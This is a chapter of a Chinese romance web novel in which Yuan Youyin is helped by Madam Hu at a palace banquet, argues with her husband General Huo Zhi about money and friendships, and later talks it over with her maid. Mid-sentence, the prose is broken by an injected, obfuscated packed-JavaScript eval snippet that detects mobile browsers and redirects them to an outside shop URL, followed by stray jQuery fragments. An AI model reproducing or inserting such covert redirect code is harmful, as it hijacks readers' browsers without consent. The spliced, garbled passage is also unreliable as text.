女子虽然样貌不甚出众,在尚美之朝只能堪堪称得上清秀,却气质温婉,谈吐间更是犀利,直拿对方七寸。
元宥音认识她。
眼前这位出言相帮的夫人,乃是商员外的发妻胡氏,她家的铺子锦珠堂正在和玉颜楼走合作。
那两位诰命夫人被她咄咄逼人的话说得语塞,实在找不着颜面再多留,随意扯了句托辞便急急忙忙地离去。
虽然就算胡氏刚刚不出声,元宥音也能将事情处理妥当,但难得的是人家的一份心意。
她莞尔颔首:“多谢商夫人相帮。”
“霍夫人客气了,妾身也不忍见护国有功的霍将军被人指摘。”胡氏盈盈下拜,平淡如水的眉眼下,是恰到好处的不卑不亢。
对方是有着大智慧的女人。
元宥音一向喜欢和聪明的人打交道,哪怕胡氏是带着心思接近她,她也会高看她两眼,何况她上回还让人家大出血了一番。
猜到她想知道什么,胡氏开门见山道:“这两日,妾身已经差清点运好了贵楼送来的货物,当是不日便能带着小店的新货一起开张了。”
与元宥音亲身下水经商不同,胡氏这类高门女眷一般都会聘请管事,打理家族名下的产业,自己只需在一年里当中的几天里巡查一遍商铺即可。
但胡氏做事细致,样样喜欢自己掌眼,才能放心,是以她能清楚锦珠堂的动向。
这倒让元宥音想不明白,如此滴水不漏的女子,上次怎么派了那样一个草包,好叫她钻了空子。
好奇归好奇,胡氏没提,她当然也不会存心去惹人不痛快。
“商夫人做事我是放心的,那宥音便先在此祝我们生意红火了。”她笑道。
“承霍夫人吉言,你我两家同心相扶,必能诸事和顺。”胡氏称是,同时注意到来人,“家夫还在等我,妾身不便久留,就先告辞了。”
元宥音刚目送她走不久,身后便传来了霍治的声音:“她是谁?”
原来胡氏是瞧见了他。
“商员外的夫人。”元宥音解释,“那些大人们舍得放你走了?”
刚刚被人拥着道喜,他饮了不少酒,但脸上却没什么醉意,只嗓音较平日里低了几分:“晚宴结束了,我说我要去寻夫人。”
言外之意就是他们不放也得放。
“你真这样说的?”元宥音被他害得脸红。
虽然不信居多,但猜他连这样大胆的话都说得出口,可能还是醉了,便要出手去扶他。
霍治半依半就,由她挽着他的臂膀使劲。
其实他酒量不错,而且宫内筵席会上的都是些性温的清酒,至少现在,他并没有感到多少醉意。
元宥音丈量着,想他要是真醉得深了,她怕是扶不动,而他现在没借她几分力,还能走得稳当,一点都不像醉酒的人脚步虚浮。
春风微暖,折返回来寻她费了些时间,此刻回程路上,官员都散得差不多了,宫道上很是僻静。
霍治没解释那句是不是胡话,而是突然说道:“府邸要怎么修葺都可以,你不要用自己的钱。”
没想到这么久了他还在纠结这一茬,元宥音都快忘了这回事。
她暗想这人也真够倔的,硬要跟他辩道:“为什么不能?你的就是我的,那我的也就是你的,夫妻之间不分你我,将军府我住的也有份,我花钱修缮自己房子怎么了?”
她不得不重新跟他理论。
“你的钱都好好留着,刚刚陛下赏了不少钱,足够再添置一套院子了,你都拿去。”他依旧坚定。
元宥音越争越起劲:“为什么我的钱要留着?”
昏黄的宫灯照亮夜露,青石板被浸得微凉。
偶有巡夜的侍卫路过,也难浇灭元宥音正旺的势头。
她就是想听他说个所以然出来,所以她站在原地不动了,连带他也不得不停下来。
许是真饮了不少酒,霍治如鹰的眼神染了些许迷朦,不减锐利的同时,又给他冷峻粗野的外表上留了几分松弛。
他鬓角碎发被风吹得微乱,衣领也是微微敞开的。
顺着瞧去,能看到紧实有力的肩颈线条。
元宥音心头发痒,居然有些见不得,踮了脚尖,不由分说地给他把领口合上。
“所以呢,为什么不可以?”他沉默太久,她就要逼他回答。
话里强势下又带了点心虚,欲盖弥彰地遮掩刚刚的举动。
他比较自恃,觉得让她花钱丢了面子也好,或者是他心疼她经营艰难,想让她把钱用到玉颜楼上也好,不管什么答案,他总要给她一个。
霍治眼神晦暗不明,眉头拧了又松,终是哑声开口:“战场上刀剑无眼,若有那么一日,那些钱是你的保障。”
那么一日是什么,他没明说,但能叫人明白。
元宥音没料到是这么一个答案,猛地一怔,方才还气焰嚣张的灵动眉眼安静下来,嘴唇微张,须臾才找回声音:“我用不上这种保障。”
玉颜楼的进账,当太师的爹。
她根本犯不上以钱财安身。
霍治望着她:“聊胜于无。”
他明白用不上。
但总不能让她白白嫁给他,又要惹人非议,还掏空了数年经营的积蓄,最后落得人财两空的局面。
这些话他没再说完。
聊得太重了,元宥音没了再闹的心思,权当他醉得不轻,抬脚往宫门走去。
霍治亦步亦趋地跟着,转变了话题:“你和那位商夫人是手帕交?”
“不是,我没有手帕交。”元宥音语气闷闷。
她在京城没有从闺阁里就有来往的姐妹,大多数的交情,都处在一个不深不浅、恰到好处的状态。
幼年时如此,长大了之后她外出经商,那些爱好清谈的大家闺秀和她聊不到一块去,自然也不会有手帕交。
生怕他再说什么骇人的话,元宥音不忿地问道:“我交什么朋友你也要管吗?”
明明个子高出她许多,步伐也迈得更大的人,此时却控制着刚刚好的速度,走在她身畔。
他表情平静,像是当那个沉重的回答,不过是云淡风轻的小事,不足挂齿。
就连元宥音的挑衅他也能照单全收。
他太包容她了,这幅模样叫她有气都使不出去,不由自主地就歇了火,神情恹恹地等他说话。
怎知霍治剑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17491007|202225||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
眉微拧,唇线紧抿,下颌绷得发硬,迟迟都没给她回话。
“这个问题也很难回答?”看出他犹豫不决的艰难,元宥音想不明白,又怕他给出像刚才那样的理由,无奈地叹了口气,“算了,我不问了。”
逼他做什么呢?
元宥音觉得没劲。
她的夫君确实就是木头样,真要让他伶牙俐齿地说些花言巧语,她反倒还要被吓到。
元宥音已经揭过了这一茬,霍治却不知如何措辞。
那胡氏的夫婿员外郎外强中干,是个昏庸之辈,远不比他夫人来得有为,他离京前便常常能听言官弹劾此人。
元宥音与他夫人交好,与他们家走得近,并不是什么好事,所以他才不放心又多问了一嘴。
他并不想干涉她的自由,既然她都说了和那夫人不是手帕交,只是普通来往,他便安心下来,也少了说道的必要。
但他能感受到元宥音的烦闷。
她一句试探把他架高了,他可以回答不管,那样未免太薄情,也可以劝她与胡氏少来往,能避免了她沾惹是非的危险,但那样却会陷入他约束她交友的语言陷阱。
这并非他本意。
霍治能想出来的最好解决办法就是保持沉默。
可是元宥音的无奈又确实存在,所以当云岫见到回府后的他们时,感受出两人之间微妙的气氛,她不由自主地感到诧异。
走的时候不还好好的吗?
怎么回来了变成这样了?
她偷偷去问随行的砚冬,可惜砚冬也是一头雾水,作为书童,他并没有进宫的资格,只能在宫门外等两人出来,待他见到人时,便已经成这样了。
主子和睦,他们这些做下人的才能有太平日子。
云岫深谙这个道理,盼着他俩好,不愿放任不管,于是在元宥音沐浴时,便把话问出了口:“夫人和将军吵架了吗?”
暖气氤氲,水汽漫了满室。
温热的汤面上浮着几瓣玫瑰,被元宥音随意拣了一片,捏在指尖把玩,闻言,扭头去看正在为她濯发的云岫:“你看出来了?”
她动作太快,云岫差点扯疼了她,忙放缓了手:“对啊,从宫里回来后,夫人一直不说话,将军也看起来一副心事重重的样子。”
“倒不是吵架。”元宥音把发生的事情简单说了一遍,语气苦恼,“其实我也不是非要他回答……”
就是在霍治说完那个可能后,便没由来的心慌,而他又没能及时接住她的情绪,让她感到无奈。
知道了情况,云岫劝慰道:“夫人,奴婢听娘亲说过,要了解一个人,不能听他说了什么,而是要看他做了什么。”
她心里跟明镜一般。
夫人聪慧敏锐,将军直接务实,两个人好比水火,定是要磨合一番的。
要她说将军看淡生死,又早早为夫人做打算,是好得不能再好了,但是他说得突然,夫人没有准备,后面聊的话里两个人应该都还乱着呢。
思绪飘着,性格迥异,当然是鸡同鸭讲。
云岫冲洗掉她发上的膏沫,娓娓道来:“将军生性如此,就算是要转变,也不能急于一朝一夕,夫人再等等他吧。”